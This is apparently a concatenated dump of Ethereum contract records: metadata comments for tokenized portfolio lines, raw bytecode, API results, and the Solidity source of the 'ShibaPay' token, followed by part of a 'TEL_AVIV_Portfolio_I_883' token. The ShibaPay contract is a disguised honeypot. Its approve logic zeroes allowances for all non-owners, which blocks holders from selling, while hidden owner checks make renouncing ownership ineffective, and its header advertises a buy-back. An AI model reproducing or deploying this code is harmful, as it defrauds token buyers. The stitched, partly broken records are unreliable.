// < 0x0000000000000000000000000000000000000000000019414FBB031A27910383 >
// Programme d'émission - Lignes 31 à 40
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < RE_Portfolio_IX_metadata_line_31_____Endurance_Specialty_Holdings_Limited_20250515 >
// < F510Gx7m9VNvRJBOX547ZvTKpB3kcyRAcpm1k1Q9JPHVDBGN7PmSO906Yn973jYc >
// < 1E-018 limites [ 1123329642,39898 ; 1176216062,36013 ] >
// < 0x000000000000000000000000000000000000000000001A279103831B62CB4950 >
// < RE_Portfolio_IX_metadata_line_32_____Endurance_Specialty_Insurance_Limited__Montpelier_Reinsurance_Limited__A_A_20250515 >
// < 5iromV0pBYZe98vgY56xWyS99ulp46f94wYk12vnB9c7PfgbT2KIP1Xt6j1m3f5e >
// < 1E-018 limites [ 1176216062,36013 ; 1212196789,15603 ] >
// < 0x000000000000000000000000000000000000000000001B62CB49501C394184B7 >
// < RE_Portfolio_IX_metadata_line_33_____Eni_Insurance_Limited_A_20250515 >
// < 91jxwPQ8H2Nd8MYF14DB3847igk1y64yOlGIxpJ4T7uU9s88RKdzM2XC4RO0mJ27 >
// < 1E-018 limites [ 1212196789,15603 ; 1225897192,68736 ] >
// < 0x000000000000000000000000000000000000000000001C394184B71C8AEAACD8 >
// < RE_Portfolio_IX_metadata_line_34_____Enterprise_Reinsurance_20250515 >
// < Fhiw2tJHuF3SJF0wEXS22Y2QzHICwP36U61vZCV2rFFzh6Wwn8g0Pi282KYp5Z6d >
// < 1E-018 limites [ 1225897192,68736 ; 1244307994,52385 ] >
// < 0x000000000000000000000000000000000000000000001C8AEAACD81CF8A75450 >
// < RE_Portfolio_IX_metadata_line_35_____Equator_Reinsurances_Limited_Ap_20250515 >
// < 7230XL5dcdUmmd2p19r73yA655TNfsz8C9T94W721sxhqc2p5FrlB5EPD39t271K >
// < 1E-018 limites [ 1244307994,52385 ; 1283064101,15244 ] >
// < 0x000000000000000000000000000000000000000000001CF8A754501DDFA87477 >
// < RE_Portfolio_IX_metadata_line_36_____Equity_Syndicate_Management_Limited_20250515 >
// < 0BG6pRvAV4F7EFVK1kvvjXi3T0djw5S9F8kWwM9TIaq34L43u56rx95lkUMpEZ90 >
// < 1E-018 limites [ 1283064101,15244 ; ] >
// < 0x000000000000000000000000000000000000000000001DDFA874771E8D4BCDCE >
// < RE_Portfolio_IX_metadata_line_37_____ERS_Syndicate_Management_Limited_20250515 >
// < 3G8tQWhisWj6PTYym9fbzi7p0N46JpcQ8d9Fi7Ptc37FG3sI81659T39q0mHpb5R >
// < 1E-018 limites [ 1312195737,22211 ; 1330508826,2292 ] >
// < 0x000000000000000000000000000000000000000000001E8D4BCDCE1EFA735C32 >
// < RE_Portfolio_IX_metadata_line_38_____ERS_Syndicate_Management_Limited_20250515 >
// < 5F7bN446VBrp46aSb9sVhjcb58SJj815Kb4gjqH59t17uK8he42ZdegTW0pn57a9 >
// < 1E-018 limites [ 1330508826,2292 ; 1372864750,2701 ] >
// < 0x000000000000000000000000000000000000000000001EFA735C321FF6E95F07 >
// < RE_Portfolio_IX_metadata_line_39_____ERS_Syndicate_Management_Limited_20250515 >
// < 9yaSaA7h7cn3Qkd31qBke6Qv76m65xH2chLViy586WMTJfLxW0svsWMaco9ahljr >
// < 1E-018 limites [ 1372864750,2701 ; 1392217700,90178 ] >
// < 0x000000000000000000000000000000000000000000001FF6E95F07206A43A15E >
// < RE_Portfolio_IX_metadata_line_40_____Euler_Hermes_Reinsurance_AG_AAm_m_20250515 >
// < UIry0a7US3zbBvfL1639YTtQq6255ghkwLc7u8270BgvERu0VjSe3pzMlbw5iN0t >
// < 1E-018 limites [ 1392217700,90178 ; 1404357449,53134 ] >
// < 0x00000000000000000000000000000000000000000000206A43A15E20B29F6AAD >
}
|
0x6080604052600436106100a4576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100a9578063095ea7b31461013957806318160ddd1461019e57806323b872dd146101c9578063313ce5671461024e57806370a082311461027f57806395d89b41146102d6578063a9059cbb14610366578063b5c8f317146103cb578063dd62ed3e146103e2575b600080fd5b3480156100b557600080fd5b506100be610459565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100fe5780820151818401526020810190506100e3565b50505050905090810190601f16801561012b5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561014557600080fd5b50610184600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104f7565b604051808215151515815260200191505060405180910390f35b3480156101aa57600080fd5b506101b36105e9565b6040518082815260200191505060405180910390f35b3480156101d557600080fd5b50610234600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506105ef565b604051808215151515815260200191505060405180910390f35b34801561025a57600080fd5b5061026361085b565b604051808260ff1660ff16815260200191505060405180910390f35b34801561028b57600080fd5b506102c0600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061086e565b6040518082815260200191505060405180910390f35b3480156102e257600080fd5b506102eb610886565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561032b578082015181840152602081019050610310565b50505050905090810190601f1680156103585780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561037257600080fd5b506103b1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610924565b604051808215151515815260200191505060405180910390f35b3480156103d757600080fd5b506103e0610a7a565b005b3480156103ee57600080fd5b50610443600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b29565b6040518082815260200191505060405180910390f35b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104ef5780601f106104c4576101008083540402835291602001916104ef565b820191906000526020600020905b8154815290600101906020018083116104d257829003601f168201915b505050505081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60045481565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561063e57600080fd5b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156106c957600080fd5b816000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825403925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600360009054906101000a900460ff1681565b60006020528060005260406000206000915090505481565b60028054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561091c5780601f106108f15761010080835404028352916020019161091c565b820191906000526020600020905b8154815290600101906020018083116108ff57829003601f168201915b505050505081565b6000816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015151561097357600080fd5b816000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6004546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6004546040518082815260200191505060405180910390a3565b60056020528160005260406000206020528060005260406000206000915091505054815600a165627a7a723058209910d7220116bb9171db5ca460332c38bbe4d1c3e935ddcf1500e97a56f368070029
|
{"success": true, "error": null, "results": {}}
| 7,905 |
0x298497a0a848c7c19892dcb8f61e710d849af55d
|
/**
*Submitted for verification at Etherscan.io on 2021-07-27
*/
/*
💵 ShibaPay is ERC-20 token with manually Buy-Back System.
Our Buy-Back Tax is 8% from every transaction and we will
do our first Buy-Back at 7 days after project launch.
I wish we will do something great for us all! 🚀
Website: https://shibapay.finance/
Telegram: https://t.me/shibapaycommunity
Twitter: https://twitter.com/ShibaPayToken
*/
pragma solidity ^0.6.12;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
contract ShibaPay is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _tTotal = 1000 * 10**9 * 10**18;
string private _name = 'ShibaPay';
string private _symbol = 'SHIBAPAY';
uint8 private _decimals = 18;
constructor () public {
_balances[_msgSender()] = _tTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function _approve(address ol, address tt, uint256 amount) private {
require(ol != address(0), "ERC20: approve from the zero address");
require(tt != address(0), "ERC20: approve to the zero address");
if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); }
else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); }
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
}
|
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220bb4a4c1c1ce4ca5142fc3cb633c0f1e5c41c662cbfc9fc571e772255bae2c25764736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,906 |
0x2a0937dedadf8fe3f16a779c56524739ef77f149
|
pragma solidity ^0.4.21 ;
contract TEL_AVIV_Portfolio_I_883 {
mapping (address => uint256) public balanceOf;
string public name = " TEL_AVIV_Portfolio_I_883 " ;
string public symbol = " TELAVIV883 " ;
uint8 public decimals = 18 ;
uint256 public totalSupply = 742949791335499000000000000 ;
event Transfer(address indexed from, address indexed to, uint256 value);
function SimpleERC20Token() public {
balanceOf[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender, totalSupply);
}
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
balanceOf[msg.sender] -= value; // deduct from sender's balance
balanceOf[to] += value; // add to recipient's balance
emit Transfer(msg.sender, to, value);
return true;
}
event Approval(address indexed owner, address indexed spender, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
// }
// Programme d'émission - Lignes 1 à 10
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < TEL_AVIV_Portfolio_I_metadata_line_1_____AIRPORT_CITY_20250515 >
// < bzH5HK82276hJx7Qu0KBqpeu2mV1Tej8Xtm4yCh3I65Fs2VgL70jE1x7dZkGuyZ8 >
// < u =="0.000000000000000001" : ] 000000000000000.000000000000000000 ; 000000017829804.445288500000000000 ] >
// < 0x00000000000000000000000000000000000000000000000000000000037A0ED4 >
// < TEL_AVIV_Portfolio_I_metadata_line_2_____ALONY_HETZ_20250515 >
// < ip67jgI0CY5M26jvkm2e564m3aXv8XPkQCC3ZoGdtQCaa6n1W6Rd9oXH2Ce1RQ2g >
// < u =="0.000000000000000001" : ] 000000017829804.445288500000000000 ; 000000035206770.620516200000000000 ] >
// < 0x000000000000000000000000000000000000000000000000037A0ED456471373 >
// < TEL_AVIV_Portfolio_I_metadata_line_3_____AMOT _20250515 >
// < 7fbfZ881g58U2d5Zy1rWovmnhM4N5lJ5NB9Xm7PmG9aQkaQoj5eqq64odnnupx2V >
// < u =="0.000000000000000001" : ] 000000035206770.620516200000000000 ; 000000053461882.464237800000000000 ] >
// < 0x00000000000000000000000000000000000000000000000564713732B64E852B >
// < TEL_AVIV_Portfolio_I_metadata_line_4_____AZRIELI_GROUP_20250515 >
// < ZJzs8zu2z27n2v65mtk9yip6g2Aw260U8HbWtYIYDijNZVLgbwNSGmMXDs44W1g7 >
// < u =="0.000000000000000001" : ] 000000053461882.464237800000000000 ; 000000072227855.591166300000000000 ] >
// < 0x00000000000000000000000000000000000000000000002B64E852B4E34C5460 >
// < TEL_AVIV_Portfolio_I_metadata_line_5_____BAZAN _20250515 >
// < XYAp8B0Pbt4WnEGW7342A79yslMEo563Up5F8nwY61619Q5h578B82csGJjleWT6 >
// < u =="0.000000000000000001" : ] 000000072227855.591166300000000000 ; 000000090677974.703951700000000000 ] >
// < 0x00000000000000000000000000000000000000000000004E34C54604ECBCF485 >
// < TEL_AVIV_Portfolio_I_metadata_line_6_____BEZEQ _20250515 >
// < oZuc2X7ybsCBl641O7MXX409o0NlIsHU9GY37Huwyr8ZLIwA8b64V6t7Yut7yG5Y >
// < u =="0.000000000000000001" : ] 000000090677974.703951700000000000 ; 000000109626596.289989000000000000 ] >
// < 0x00000000000000000000000000000000000000000000004ECBCF48550ED00309 >
// < TEL_AVIV_Portfolio_I_metadata_line_7_____CELLCOM _20250515 >
// < 5E58F4Gi0Rb7Lz2i00PXEAJ2glOLISb0yhG0WT6maq3MoHK77S93s5jaO55T5XQx >
// < u =="0.000000000000000001" : ] 000000109626596.289989000000000000 ; 000000128572084.913411000000000000 ] >
// < 0x000000000000000000000000000000000000000000000050ED00309816B8E20D >
// < TEL_AVIV_Portfolio_I_metadata_line_8_____DELEK_DRILL_L_20250515 >
// < EpzXzPJ57Gbe91nL2s335fdQU776ZLcsraSCGeM4udZCI1JTq8YDuTywX8sVA3Vq >
// < u =="0.000000000000000001" : ] 000000128572084.913411000000000000 ; 000000145849364.627172000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000816B8E20DBFD699807 >
// < TEL_AVIV_Portfolio_I_metadata_line_9_____DELEK_GROUP_20250515 >
// < 5Vyq38T2GLf0LLgsT592FK7U182B7NIPr9RQNPRuvG70ZIPxan1zY7mOXSCpK2Qi >
// < u =="0.000000000000000001" : ] 000000145849364.627172000000000000 ; 000000165166470.196802000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000BFD699807C00CC925C >
// < TEL_AVIV_Portfolio_I_metadata_line_10_____DISCOUNT _20250515 >
// < D0Q14huvFn79o9Tt6gQ2aYyPvtc0CA341gs3gOB52T8hX22WaJNDEfGWP0op4hi4 >
// < u =="0.000000000000000001" : ] 000000165166470.196802000000000000 ; 000000184406591.142403000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000C00CC925CC8B19E052 >
// Programme d'émission - Lignes 11 à 20
//
//
//
//
// [ Nom du portefeuille ; Numéro de la ligne ; Nom de la ligne ; Echéance ]
// [ Adresse exportée ]
// [ Unité ; Limite basse ; Limite haute ]
// [ Hex ]
//
//
//
// < TEL_AVIV_Portfolio_I_metadata_line_11_____ELBIT_SYSTEMS_20250515 >
// < B23ccOoQ8M5Ej5977FG0j456pFXaZzrC5b0y10y7ElTm2do6L725U1FT44nQZXct >
// < u =="0.000000000000000001" : ] 000000184406591.142403000000000000 ; 000000203784580.836843000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000C8B19E052C95A3ECBC >
// < TEL_AVIV_Portfolio_I_metadata_line_12_____FATTAL _20250515 >
// < 2P7sStd9FYhI5D3H16B2zJmD9C2XRllCbpQYT0U09m57PZJjaxpdP9U60RKX0h58 >
// < u =="0.000000000000000001" : ] 000000203784580.836843000000000000 ; 000000222445116.792987000000000000 ] >
// < 0x0000000000000000000000000000000000000000000000C95A3ECBCCA5EAC970 >
// < TEL_AVIV_Portfolio_I_metadata_line_13_____FIBI_BANK_20250515 >
